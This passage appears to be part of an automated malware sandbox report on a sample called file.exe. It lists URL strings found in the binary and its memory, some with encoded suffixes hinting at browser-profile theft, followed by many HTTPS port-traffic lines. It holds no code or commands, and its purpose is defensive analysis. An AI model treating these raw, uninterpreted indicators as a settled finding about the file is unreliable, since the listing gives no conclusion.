Source: 3d536899-b51e-46a2-91a3-3f632dd5548c.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/AKEBAAKFCGHC
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0
Source: IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2512161175.0000000023C7C000.00000004.00000020.00020000.00000000.sdmp, IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2512161175.0000000023C7C000.00000004.00000020.00020000.00000000.sdmp, IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ds:
Source: file.exe, 00000000.00000003.2512161175.0000000023C7C000.00000004.00000020.00020000.00000000.sdmp, IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 58764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 58788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 58752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 58821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 58809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58782
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58781
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 58823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58788
Source: unknown	Network traffic detected: HTTP traffic on port 58834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58787
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58795
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58796
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58791
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58793
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58792
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 58790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58798
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 58811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 58822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
